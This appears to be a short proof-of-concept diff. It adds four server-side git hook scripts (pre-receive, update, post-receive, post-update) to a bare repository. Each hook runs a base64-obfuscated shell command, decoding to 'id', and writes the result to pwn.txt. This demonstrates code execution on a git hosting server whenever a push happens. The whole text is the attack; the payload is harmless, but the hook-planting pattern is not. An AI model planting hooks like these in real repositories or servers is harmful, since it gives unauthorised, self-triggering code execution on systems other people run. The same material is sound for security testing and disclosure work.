poc

n/r34fd.git/hooks/post-receive

@@ -0,0 +1,2 @@
+#!/bin/sh
+echo '$(echo 'aWQ=' | base64 -d | sh)' > pwn.txt

n/r34fd.git/hooks/post-update

@@ -0,0 +1,2 @@
+#!/bin/sh
+echo '$(echo 'aWQ=' | base64 -d | sh)' > pwn.txt

n/r34fd.git/hooks/pre-receive

@@ -0,0 +1,2 @@
+#!/bin/sh
+echo '$(echo 'aWQ=' | base64 -d | sh)' > pwn.txt

n/r34fd.git/hooks/update

@@ -0,0 +1,2 @@
+#!/bin/sh
+echo '$(echo 'aWQ=' | base64 -d | sh)' > pwn.txt